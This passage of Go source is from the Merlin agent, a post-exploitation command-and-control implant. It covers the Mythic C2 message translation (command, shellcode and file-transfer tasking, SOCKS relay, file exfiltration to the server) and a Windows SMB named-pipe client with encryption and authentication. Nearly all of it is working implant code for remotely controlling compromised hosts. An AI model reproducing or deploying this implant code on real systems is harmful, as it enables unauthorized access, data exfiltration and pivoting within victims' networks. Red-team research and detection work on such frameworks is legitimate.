fmt.Errorf("clients/mythic.convertToMythicMessage(): There was an error sending the mythic FileDownload:DownloadInit message to the server: %s", err) } // Get the file ID from the response if len(resp) <= 0 { return []byte{}, fmt.Errorf("clients/mythic.convertToMythicMessage(): The were no return messages after requesting a FileID from Mythic") } if resp[0].Type != messages.JOBS { return []byte{}, fmt.Errorf("clients/mythic.convertToMythicMessage(): The first message in the response for DownloadInit was not a jobs message") } js := resp[0].Payload.([]jobs.Job) if len(js) <= 0 { return []byte{}, fmt.Errorf("clients/mythic.convertToMythicMessage(): The first message in the response for DownloadInit did not contain any jobs") } if js[0].Type != DownloadSend { return []byte{}, fmt.Errorf("clients/mythic.convertToMythicMessage(): Expected the first job to be a DownloadSend(%d) job but received %d", DownloadSend, js[0].Type) } // TODO Chunk the data // DownloadSend - Send actual data fm2 := FileDownload{ Data: f.FileBlob, FileID: js[0].Payload.(string), Chunk: 1, } ctr.Download = &fm2 ctr.Completed = true downloadMessage.Type = DownloadSend downloadMessage.Payload = ctr resp, err = client.Send(downloadMessage) if err != nil { return []byte{}, fmt.Errorf("there was an error sending the mythic FileDownload:DownloadSend message to the server: %s", err) } // If this is the only job, then return; else keep processing remaining jobs if len(m.Payload.([]jobs.Job)) == 1 { return []byte{}, nil } } case jobs.SOCKS: sockMsg := job.Payload.(jobs.Socks) // SOCKS server's initial response is 0x05, 0x00 if bytes.Equal(sockMsg.Data, []byte{0x05, 0x00}) { // Drop the job because Mythic doesn't need it for anything and we are spoofing the SOCKS handshake agent side break } sock := Socks{ Exit: sockMsg.Close, } // Translate Merlin's SOCKS connection UUID to a Mythic server_id integer id, ok := mythicSocksConnection.Load(sockMsg.ID) if !ok { err = fmt.Errorf("there was an error mapping the SOCKS connection ID %s to the Mythic connection ID", sockMsg.ID) return []byte{}, err } sock.ServerId = id.(int32) // Base64 encode the data sock.Data = base64.StdEncoding.EncodeToString(sockMsg.Data) //fmt.Printf("\t[*] SOCKS Data size: %d\n", len(sockMsg.Data)) // Add to return messages returnMessage.SOCKS = append(returnMessage.SOCKS, sock) // Clean up the maps if sockMsg.Close { socksConnection.Delete(id) mythicSocksConnection.Delete(sockMsg.ID) } default: return []byte{}, fmt.Errorf("unhandled job type in convertToMythicMessage: %s", job.Type) } } // Marshal the structure to a JSON object if len(returnMessage.Responses) == 0 && len(returnMessage.SOCKS) == 0 { // Used when an input Merlin job has a SOCKS type, but we drop the message and don't want to send it to Mythic task := Tasking{ Action: TASKING, Size: -1, Padding: m.Padding, } // Marshal the structure to a JSON object data, err = json.Marshal(task) if err != nil { return []byte{}, fmt.Errorf("there was an error marshalling the mythic.CheckIn structure to JSON:\n%s", err) } } else { data, err = json.Marshal(returnMessage) if err != nil { return []byte{}, fmt.Errorf("there was an error marshalling the mythic.PostResponse structure to JSON:\n%s", err) } } case messages.KEYEXCHANGE: if m.Payload != nil { msg := m.Payload.(rsa2.Request) msg.Padding = m.Padding data, err = json.Marshal(msg) if err != nil { return []byte{}, fmt.Errorf("there was an error marshalling the mythic.RSARequest structrong to JSON:\n%s", err) } } case DownloadInit: returnMessage := PostResponse{ Action: RESPONSE, Padding: m.Padding, } returnMessage.Responses = append(returnMessage.Responses, m.Payload.(ClientTaskResponse)) data, err = json.Marshal(returnMessage) if err != nil { return []byte{}, fmt.Errorf("there was an error marshalling the mythic.FileDownloadInitial structure to JSON: %s", err) } case DownloadSend: returnMessage := PostResponse{ Action: RESPONSE, Padding: m.Padding, } returnMessage.Responses = append(returnMessage.Responses, m.Payload.(ClientTaskResponse)) data, err = json.Marshal(returnMessage) if err != nil { return []byte{}, fmt.Errorf("there was an error marshalling the mythic.FileDownload structure to JSON: %s", err) } default: return []byte{}, fmt.Errorf("unhandled message type: %d for convertToMythicMessage()", m.Type) } // Transforms cli.Message(cli.DEBUG, fmt.Sprintf("clients/mythic.Construct(): Transformers: %+v", client.transformers)) for i := len(client.transformers); i > 0; i-- { if client.transformers[i-1].String() == "mythic" { data, err = client.transformers[i-1].Construct(data, []byte(client.MythicID.String())) } else { data, err = client.transformers[i-1].Construct(data, client.secret) } cli.Message(cli.DEBUG, fmt.Sprintf("%d call with transform %s - Constructed data(%d) %T: %X\n", i, client.transformers[i-1], len(data), data, data)) if err != nil { return []byte{}, fmt.Errorf("there was an error transforming the Mythic task:\n%s", err) } } return data, nil } // convertSocksToJobs takes in Mythic socks messages and translates them into Merlin jobs func (client *Client) convertSocksToJobs(socks []Socks) (base messages.Base, err error) { cli.Message(cli.DEBUG, fmt.Sprintf("Entering into clients.mythic.convertSocksToJobs() with %+v", socks)) //fmt.Printf("Entering into clients.mythic.convertSocksToJobs() with %d socks messages: %+v\n", len(socks), socks) base.Type = messages.JOBS base.ID = client.AgentID var returnJobs []jobs.Job for _, sock := range socks { job := jobs.Job{ AgentID: client.AgentID, Type: jobs.SOCKS, } payload := jobs.Socks{ Close: sock.Exit, } // Translate Mythic's server ID to UUID id, ok := socksConnection.Load(sock.ServerId) if !ok { // This is for a new, first time, SOCKS connection id = uuid.New() socksConnection.Store(sock.ServerId, id) mythicSocksConnection.Store(id, sock.ServerId) socksCounter.Store(id, 0) // Spoof SOCKS handshake with Merlin Agent payload.ID = id.(uuid.UUID) payload.Data = []byte{0x05, 0x01, 0x00} payload.Index = 0 job.Payload = payload returnJobs = append(returnJobs, job) } payload.ID = id.(uuid.UUID) // Base64 decode the data payload.Data, err = base64.StdEncoding.DecodeString(sock.Data) if err != nil { err = fmt.Errorf("there was an error base64 decoding the SOCKS message data: %s", err) return } //fmt.Printf("\tID: %d, Data length: %d\n", sock.ServerId, len(payload.Data)) // Load the data packet counter i, ok := socksCounter.Load(id) if !ok { err = fmt.Errorf("there was an error getting the SOCKS counter for the UUID: %s", id) return } payload.Index = i.(int) + 1 job.Payload = payload socksCounter.Store(id, i.(int)+1) returnJobs = append(returnJobs, job) } base.Payload = returnJobs return } // convertTasksToJobs is a function that converts Mythic tasks into a Merlin jobs structure func (client *Client) convertTasksToJobs(tasks []Task) (messages.Base, error) { cli.Message(cli.DEBUG, "Entering into clients.mythic.convertTasksToJobs()") cli.Message(cli.DEBUG, fmt.Sprintf("Input task:\n%+v", tasks)) // Merlin messages.Base structure base := messages.Base{ ID: client.AgentID, Type: messages.JOBS, } var returnJobs []jobs.Job for _, task := range tasks { var mythicJob Job var job jobs.Job err := json.Unmarshal([]byte(task.Params), &mythicJob) if err != nil { return messages.Base{}, fmt.Errorf("there was an error unmarshalling the Mythic task parameters to a mythic.Job:\n%s", err) } job.AgentID = client.AgentID job.ID = task.ID job.Token = uuid.MustParse(task.ID) job.Type = jobs.IntToType(mythicJob.Type) cli.Message(cli.DEBUG, fmt.Sprintf("Switching on mythic.Job type %d", mythicJob.Type)) switch job.Type { case jobs.CMD, jobs.CONTROL, jobs.NATIVE: var payload jobs.Command err = json.Unmarshal([]byte(mythicJob.Payload), &payload) if err != nil { return base, fmt.Errorf("there was an error unmarshalling the Mythic job payload to a jobs.CMD structure:\n%s", err) } cli.Message(cli.DEBUG, fmt.Sprintf("unmarshalled jobs.Command structure:\n%+v", payload)) job.Payload = payload returnJobs = append(returnJobs, job) case jobs.FILETRANSFER: var payload jobs.FileTransfer err = json.Unmarshal([]byte(mythicJob.Payload), &payload) if err != nil { return base, fmt.Errorf("there was an error unmarshalling the Mythic job payload to a jobs.FileTransfer structure:\n%s", err) } cli.Message(cli.DEBUG, fmt.Sprintf("unmarshalled jobs.FileTransfer structure:\n%+v", payload)) job.Payload = payload returnJobs = append(returnJobs, job) case jobs.MODULE: var payload jobs.Command err = json.Unmarshal([]byte(mythicJob.Payload), &payload) if err != nil { return base, fmt.Errorf("there was an error unmarshalling the Mythic job payload to a jobs.Command structure:\n%s", err) } job.Payload = payload returnJobs = append(returnJobs, job) case jobs.SHELLCODE: var payload jobs.Shellcode err = json.Unmarshal([]byte(mythicJob.Payload), &payload) if err != nil { return base, fmt.Errorf("there was an error unmarshalling the Mythic job payload to a jobs.Shellcode structure:\n%s", err) } job.Payload = payload returnJobs = append(returnJobs, job) case 0: // case 0 means that a job type was not added to the task from the Mythic server // Commonly seen with SOCKS messages if strings.ToLower(task.Command) == "socks" { cli.Message(cli.NOTE, fmt.Sprintf("Received Mythic SOCKS task: %+v", task)) var params SocksParams err = json.Unmarshal([]byte(task.Params), ¶ms) if err != nil { return base, fmt.Errorf("there was an error unmarshalling the Mythic SOCKS Params payload: %s", err) } switch params.Action { case "start", "stop": // Send message back to Mythic that SOCKS has been started/stopped job.Type = jobs.RESULT job.Payload = jobs.Results{} returnJobs = append(returnJobs, job) default: cli.Message(cli.WARN, fmt.Sprintf("Unknown socks command: %s", params.Action)) } } else { cli.Message(cli.WARN, fmt.Sprintf("Unhandled Mythic task %+v", task)) } default: return base, fmt.Errorf("unknown mythic.job type: %d", mythicJob.Type) } } // Add the list of jobs to the message base base.Payload = returnJobs return base, nil } // getProxy returns a proxy function for the passed in protocol and proxy URL if any // Reads the HTTP_PROXY and HTTPS_PROXY environment variables if no proxy URL was passed in func getProxy(protocol string, proxyURL string) (func(*http.Request) (*url.URL, error), error) { cli.Message(cli.DEBUG, "Entering into clients.http.getProxy()...") cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Proxy: %s", protocol, proxyURL)) // The HTTP/2 protocol does not support proxies if strings.ToLower(protocol) != "http" && strings.ToLower(protocol) != "https" { if proxyURL != "" { return nil, fmt.Errorf("clients/http.getProxy(): %s protocol does not support proxies; use http or https protocol", protocol) } cli.Message(cli.DEBUG, fmt.Sprintf("clients/http.getProxy(): %s protocol does not support proxies, continuing without proxy (if any)", protocol)) return nil, nil } var proxy func(*http.Request) (*url.URL, error) if proxyURL != "" { rawURL, errProxy := url.Parse(proxyURL) if errProxy != nil { return nil, fmt.Errorf("there was an error parsing the proxy string:\n%s", errProxy.Error()) } cli.Message(cli.DEBUG, fmt.Sprintf("Parsed Proxy URL: %+v", rawURL)) proxy = http.ProxyURL(rawURL) return proxy, nil } // Check for, and use, HTTP_PROXY, HTTPS_PROXY and NO_PROXY environment variables var p string switch strings.ToLower(protocol) { case "http": p = os.Getenv("HTTP_PROXY") case "https": p = os.Getenv("HTTPS_PROXY") } if p != "" { cli.Message(cli.NOTE, fmt.Sprintf("Using proxy from environment variables for protocol %s: %s", protocol, p)) proxy = http.ProxyFromEnvironment } return proxy, nil } // selectIP identifies a single IP address to associate with the agent from all interfaces on the host. // The goal is to remove link-local and loop-back addresses. func selectIP(ips []string) string { for _, ip := range ips { if !strings.HasPrefix(ip, "127.") && !strings.HasPrefix(ip, "::1/128") && !strings.HasPrefix(ip, "fe80::") { return ip } } return ips[0] } ================================================ FILE: clients/mythic/structs.go ================================================ //go:build mythic /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package mythic import ( "github.com/google/uuid" ) const ( // CHECKIN is Mythic action https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/initial-checkin CHECKIN = "checkin" // TASKING is a Mythic action https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action_get_tasking TASKING = "get_tasking" // RESPONSE is used to send a message back to the Mythic server https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-post_response RESPONSE = "post_response" // StatusError is used to when there is an error StatusError = "error" // RSAStaging is used to setup and complete the RSA key exchange https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/initial-checkin RSAStaging = "staging_rsa" // UPLOAD is a Mythic action https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-upload UPLOAD = "upload" // Custom // DownloadInit is used as the first download message from the Mythic server DownloadInit = 300 // DownloadSend is used after the init message to send the file DownloadSend = 301 ) // CheckIn is the initial structure sent to Mythic type CheckIn struct { Action string `json:"action"` // "action": "checkin", // required IP string `json:"ip"` // "ip": "127.0.0.1", // internal ip address - required OS string `json:"os"` // "os": "macOS 10.15", // os version - required User string `json:"user"` // "user": "its-a-feature", // username of current user - required Host string `json:"host"` // "host": "spooky.local", // hostname of the computer - required PID int `json:"pid"` // "pid": 4444, // pid of the current process - required PayloadID string `json:"uuid"` // "uuid": "payload uuid", //uuid of the payload - required Arch string `json:"architecture,omitempty"` // "architecture": "x64", // platform arch - optional Domain string `json:"domain,omitempty"` // "domain": "test", // domain of the host - optional Integrity int `json:"integrity_level,omitempty"` // "integrity_level": 3, // integrity level of the process - optional ExternalIP string `json:"external_ip,omitempty"` // "external_ip": "8.8.8.8", // external ip if known - optional EncryptionKey string `json:"encryption_key,omitempty"` // "encryption_key": "base64 of key", // encryption key - optional DecryptionKey string `json:"decryption_key,omitempty"` // "decryption_key": "base64 of key", // decryption key - optional Process string `json:"process_name,omitempty"` // "process": "process name", // name of the process - optional Padding string `json:"padding,omitempty"` } // Response is the message structure returned from the Mythic server type Response struct { Action string `json:"action"` ID string `json:"id"` Status string `json:"status"` } // Error message returned from Mythic HTTP profile type Error struct { Status string `json:"status"` Error string `json:"error"` } // Tasking is used by the agent to request a specified number of tasks from the server type Tasking struct { Action string `json:"action"` Size int `json:"tasking_size"` Padding string `json:"padding,omitempty"` } // Tasks holds a list of tasks for the agent to process type Tasks struct { Action string `json:"action"` Tasks []Task `json:"tasks"` SOCKS []Socks `json:"socks,omitempty"` } // Task contains the task identifier, command, and parameters for the agent to execute type Task struct { ID string `json:"id"` Command string `json:"command"` Params string `json:"parameters"` Time float64 `json:"timestamp"` } // Job structure type Job struct { Type int `json:"type"` Payload string `json:"payload"` } // PostResponse is the structure used to send a list of messages from the agent to the server type PostResponse struct { Action string `json:"action"` Responses []ClientTaskResponse `json:"responses"` // TODO This needs to be an interface so it can handle both ClientTaskResponse and FileDownloadInitialMessage Padding string `json:"padding,omitempty"` SOCKS []Socks `json:"socks,omitempty"` } // ClientTaskResponse is the structure used to return the results of a task to the Mythic server // https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-post_response type ClientTaskResponse struct { ID uuid.UUID `json:"task_id"` Download *FileDownload `json:"download,omitempty"` Output string `json:"user_output,omitempty"` Status string `json:"status,omitempty"` Completed bool `json:"completed,omitempty"` } // ServerTaskResponse is the message Mythic returns to the client after it sent a ClientTaskResponse message // https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-post_response type ServerTaskResponse struct { ID string `json:"task_id"` Status string `json:"status"` Error string `json:"error"` FileID string `json:"file_id,omitempty"` } // ServerPostResponse structure holds a list of ServerTaskResponse structure type ServerPostResponse struct { Action string `json:"action"` Responses []ServerTaskResponse `json:"responses"` SOCKS []Socks `json:"socks,omitempty"` } // PostResponseFile is the structure used to send a list of messages from the agent to the server type PostResponseFile struct { Action string `json:"action"` Responses []FileDownload `json:"responses"` Padding string `json:"padding,omitempty"` } // FileDownloadInitialMessage contains the information for the initial step of the file download process type FileDownloadInitialMessage struct { NumChunks int `json:"total_chunks"` TaskID string `json:"task_id"` FullPath string `json:"full_path"` IsScreenshot bool `json:"is_screenshot"` } // PostResponseDownload is used to send a response to the Mythic server type PostResponseDownload struct { Action string `json:"action"` Responses []FileDownload `json:"responses"` Padding string `json:"padding,omitempty"` } // FileDownload sends a chunk of Base64 encoded data from the agent to the server type FileDownload struct { FileID string `json:"file_id,omitempty"` // UUID from FileDownloadResponse NumChunks int `json:"total_chunks,omitempty"` Chunk int `json:"chunk_num,omitempty"` Data string `json:"chunk_data,omitempty"` // Base64 encoded data FullPath string `json:"full_path,omitempty"` IsScreenshot bool `json:"is_screenshot,omitempty"` } // DownloadResponse is the server's response to a FileDownload message type DownloadResponse struct { Status string `json:"status"` TaskID string `json:"task_id"` } // UploadRequest is message // https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-upload type UploadRequest struct { Action string `json:"action"` TaskID string `json:"task_id"` // the associated task that caused the agent to pull down this file FileID string `json:"file_id"` // the file specified to pull down to the target Path string `json:"full_path"` // ull path to uploaded file on Agent's host Size int `json:"chunk_size"` // bytes of file per chunk Chunk int `json:"chunk_num"` // which chunk are we currently pulling down } // UploadResponse is the message sent from the server to an agent // https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-upload type UploadResponse struct { Path string `json:"remote_path"` FileID string `json:"file_id"` } // Socks is used to send SOCKS data between the SOCKS client and the agent and is an array on the // https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/socks#what-do-socks-messages-look-like type Socks struct { ServerId int32 `json:"server_id"` Data string `json:"data"` Exit bool `json:"exit"` } // SocksParams is used as an embedded structure for the Task structure when the Command field is "socks" type SocksParams struct { Action string `json:"action"` Port int `json:"port"` } ================================================ FILE: clients/repository.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package clients type Repository interface { // Add stores the Client structure Add(client Client) // Get returns a copy of the current Client structure Get() Client // SetJA3 reconfigures the client's TLS fingerprint to match the provided JA3 string SetJA3(ja3 string) error // SetListener changes the client's upstream listener ID, a UUID, to the value provided SetListener(listener string) error // SetPadding changes the maximum amount of random padding added to each outgoing message SetPadding(padding string) error // SetParrot reconfigures the client's HTTP configuration to match the provided browser SetParrot(parrot string) error } ================================================ FILE: clients/smb/smb.go ================================================ //go:build (!smb && (http || http1 || http2 || http3 || mythic || winhttp || tcp || udp)) || (!smb && !windows) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package smb contains a configurable client used for Windows-based SMB peer-to-peer Agent communications package smb import ( // Standard "fmt" "runtime" // 3rd Party "github.com/google/uuid" // Merlin "github.com/Ne0nd0g/merlin-message" ) // Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server type Client struct { } // Config is a structure used to pass in all necessary information to instantiate a new Client type Config struct { Address []string // Address the interface and port the agent will bind to AgentID uuid.UUID // AgentID the Agent's UUID AuthPackage string // AuthPackage the type of authentication the agent should use when communicating with the server ListenerID uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with Padding string // Padding the max amount of data that will be randomly selected and appended to every message PSK string // PSK the Pre-Shared Key secret the agent will use to start authentication Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message Mode string // Mode the type of client or communication mode (e.g., BIND or REVERSE) } // New instantiates and returns a Client that is constructed from the passed in Config func New(Config) (*Client, error) { if runtime.GOOS == "windows" { return nil, fmt.Errorf("clients/smb.New(): SMB client not compiled into this program") } return nil, fmt.Errorf("clients/smb.New(): this function is not supported by the %s operating system", runtime.GOOS) } // Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol // The function must take in a Base message for when the C2 server requests re-authentication through a message func (client *Client) Authenticate(messages.Base) (err error) { return fmt.Errorf("clients/smb.Authenticate(): SMB client not compiled into this program") } // Get is a generic function used to retrieve the value of a Client's field func (client *Client) Get(string) string { return fmt.Sprintf("clients/smb.Get(): SMB client not compiled into this program") } // Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent func (client *Client) Initial() error { return fmt.Errorf("clients/smb.Initial(): SMB client not compiled into this program") } // Listen waits for incoming data on an established TCP connection, deconstructs the data into a Base messages, and returns them func (client *Client) Listen() (returnMessages []messages.Base, err error) { err = fmt.Errorf("clients/smb.LIsten(): SMB client not compiled into this program") return } // Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream. // This function DOES not wait or listen for response messages. func (client *Client) Send(messages.Base) (returnMessages []messages.Base, err error) { err = fmt.Errorf("clients/smb.Send(): SMB client not compiled into this program") return } // Set is a generic function that is used to modify a Client's field values func (client *Client) Set(key string, value string) error { return fmt.Errorf("clients/smb.Set(): SMB client not compiled into this program") } // Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages // can be sent/received. func (client *Client) Synchronous() bool { return false } ================================================ FILE: clients/smb/smb_windows.go ================================================ //go:build smb || !(http || http1 || http2 || http3 || mythic || winhttp || tcp || udp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package smb contains a configurable client used for Windows-based SMB peer-to-peer Agent communications package smb import ( // Standard "bytes" "crypto/sha256" "encoding/binary" "encoding/gob" "fmt" "io" "math" "math/rand" "net" "strconv" "strings" "sync" "time" "unsafe" // X Package "golang.org/x/sys/windows" // 3rd Party "github.com/Ne0nd0g/npipe" "github.com/google/uuid" // Merlin "github.com/Ne0nd0g/merlin-message" // Internal "github.com/Ne0nd0g/merlin-agent/v2/authenticators" "github.com/Ne0nd0g/merlin-agent/v2/authenticators/none" "github.com/Ne0nd0g/merlin-agent/v2/authenticators/opaque" "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/core" transformer "github.com/Ne0nd0g/merlin-agent/v2/transformers" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64" gob2 "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor" ) const ( BIND = 0 REVERSE = 1 ) const ( // MaxSize is the maximum size of an SMB fragment // The WriteFileEx Windows API function says: // "Pipe write operations across a network are limited to 65,535 bytes per write" // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefileex MaxSize = 65535 ) // Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server type Client struct { address string // address is the SMB named pipe the agent will bind to agentID uuid.UUID // agentID the Agent's UUID authComplete chan bool // authComplete is a channel that is used to block sending messages until the Agent has successfully completed authenticated authenticated bool // authenticated tracks if the Agent has successfully authenticated authenticator authenticators.Authenticator // authenticator the method the Agent will use to authenticate to the server connected chan bool // connected is a channel that is used to track if the Agent is connected to a Parent connection net.Conn // connection the network socket connection used to handle traffic listener net.Listener // listener the network socket connection listening for traffic listenerID uuid.UUID // listenerID the UUID of the listener that this Agent is configured to communicate with paddingMax int // paddingMax the maximum amount of random padding to apply to every Base message psk string // psk the pre-shared key used for encrypting messages until authentication is complete secret []byte // secret the key used to encrypt messages sending bool // sending is a flag that is used to track if the Agent is currently sending a message transformers []transformer.Transformer // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message mode int // mode the type of client or communication mode (e.g., BIND or REVERSE) sync.Mutex // used to lock the Client when changes are being made by one function or routine } // Config is a structure that is used to pass in all necessary information to instantiate a new Client type Config struct { Address []string // Address the interface and port the agent will bind to AgentID uuid.UUID // AgentID the Agent's UUID AuthPackage string // AuthPackage the type of authentication the agent should use when communicating with the server ListenerID uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with Padding string // Padding the max amount of data that will be randomly selected and appended to every message PSK string // PSK the Pre-Shared Key secret the agent will use to start authentication Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message Mode string // Mode the type of client or communication mode (e.g., BIND or REVERSE) } // New instantiates and returns a Client that is constructed from the passed in Config func New(config Config) (*Client, error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.New(): entering into function with config %+v", config)) client := Client{} client.authComplete = make(chan bool, 1) client.connected = make(chan bool, 1) if config.AgentID == uuid.Nil { return nil, fmt.Errorf("clients/smb.New(): a nil Agent UUID was provided") } client.agentID = config.AgentID if config.ListenerID == uuid.Nil { return nil, fmt.Errorf("clients/smb.New(): a nil Listener UUID was provided") } switch strings.ToLower(config.Mode) { case "smb-bind": client.mode = BIND case "smb-reverse": client.mode = REVERSE default: client.mode = BIND } client.listenerID = config.ListenerID client.psk = config.PSK // Parse Address and validate it if len(config.Address) <= 0 { return nil, fmt.Errorf("a configuration address value was not provided") } // \\.\pipe\MerlinPipe t := strings.Split(config.Address[0], "\\") if len(t) < 5 { return nil, fmt.Errorf("clients/smb.New(): invalid SMB address: %s\n Try \\\\.\\pipe\\merlin", config.Address[0]) } if t[1] != "." { _, err := net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:445", t[1])) if err != nil { return nil, fmt.Errorf("clients/smb.New(): there was an error validating the input network address: %s", err) } } switch client.mode { case BIND: // Can only bind to "." client.address = fmt.Sprintf("\\\\.\\pipe\\%s", t[4]) default: client.address = config.Address[0] } // Set secret for encryption k := sha256.Sum256([]byte(client.psk)) client.secret = k[:] cli.Message(cli.DEBUG, fmt.Sprintf("new client PSK: %s", client.psk)) cli.Message(cli.DEBUG, fmt.Sprintf("new client Secret: %x", client.secret)) //Convert Padding from string to an integer var err error if config.Padding != "" { client.paddingMax, err = strconv.Atoi(config.Padding) if err != nil { return &client, fmt.Errorf("there was an error converting the padding max to an integer:\r\n%s", err) } } else { client.paddingMax = 0 } // Authenticator switch strings.ToLower(config.AuthPackage) { case "opaque": client.authenticator = opaque.New(config.AgentID) case "none": client.authenticator = none.New(config.AgentID) default: return nil, fmt.Errorf("an authenticator must be provided (e.g., 'opaque'") } // Transformers transforms := strings.Split(config.Transformers, ",") for _, transform := range transforms { var t transformer.Transformer switch strings.ToLower(transform) { case "aes": t = aes.NewEncrypter() case "base64-byte": t = base64.NewEncoder(base64.BYTE) case "base64-string": t = base64.NewEncoder(base64.STRING) case "gob-base": t = gob2.NewEncoder(gob2.BASE) case "gob-string": t = gob2.NewEncoder(gob2.STRING) case "hex-byte": t = hex.NewEncoder(hex.BYTE) case "hex-string": t = hex.NewEncoder(hex.STRING) case "jwe": t = jwe.NewEncrypter() case "rc4": t = rc4.NewEncrypter() case "xor": t = xor.NewEncrypter() default: err := fmt.Errorf("clients/smb.New(): unhandled transform type: %s", transform) if err != nil { return nil, err } } client.transformers = append(client.transformers, t) } cli.Message(cli.INFO, "Client information:") cli.Message(cli.INFO, fmt.Sprintf("\tProtocol: %s", &client)) cli.Message(cli.INFO, fmt.Sprintf("\tAddress: %s", client.address)) cli.Message(cli.INFO, fmt.Sprintf("\tListener: %s", client.listenerID)) cli.Message(cli.INFO, fmt.Sprintf("\tAuthenticator: %s", client.authenticator)) cli.Message(cli.INFO, fmt.Sprintf("\tTransforms: %+v", client.transformers)) cli.Message(cli.INFO, fmt.Sprintf("\tPadding: %d", client.paddingMax)) return &client, nil } // Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent func (client *Client) Initial() (err error) { cli.Message(cli.DEBUG, "Entering clients/smb.Initial() function") defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Initial(): leaving function with error: %+v", err)) err = client.Connect() if err != nil { err = fmt.Errorf("clients/smb.Initial(): %s", err) return } <-client.connected // Authenticate err = client.Authenticate(messages.Base{}) return err } // Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol // The function must take in a Base message for when the C2 server requests re-authentication through a message func (client *Client) Authenticate(msg messages.Base) (err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/smb.Authenticate(): entering into function with message: %+v", msg)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/tcp.Authenticate(): leaving function with error: %+v", err)) client.Lock() client.authenticated = false client.Unlock() if len(client.authComplete) > 0 { <-client.authComplete } var authenticated bool // Reset the Agent's PSK k := sha256.Sum256([]byte(client.psk)) client.Lock() client.secret = k[:] client.Unlock() // Repeat until authenticator is complete and Agent is authenticated for { msg, authenticated, err = client.authenticator.Authenticate(msg) if err != nil { return } // An empty message was received indicating to exit the function if msg.Type == 0 { return } // Once authenticated, update the client's secret used to encrypt messages if authenticated { client.Lock() client.authenticated = true client.Unlock() var key []byte key, err = client.authenticator.Secret() if err != nil { return } // Don't update the secret if the authenticator returned an empty key if len(key) > 0 { client.Lock() client.secret = key client.Unlock() } } if msg.Type == messages.OPAQUE { // Send the message to the server var msgs []messages.Base msgs, err = client.SendAndWait(msg) if err != nil { return } // Add response message to the next loop iteration if len(msgs) > 0 { // Don't add IDLE messages, just continue on if msgs[0].Type != messages.IDLE { msg = msgs[0] } } } else { _, err = client.Send(msg) if err != nil { return } } // If the Agent is authenticated, exit the loop and return the function if authenticated { client.authComplete <- true return } } } // Connect establish a connection with the remote host depending on the Client's type (e.g., BIND or 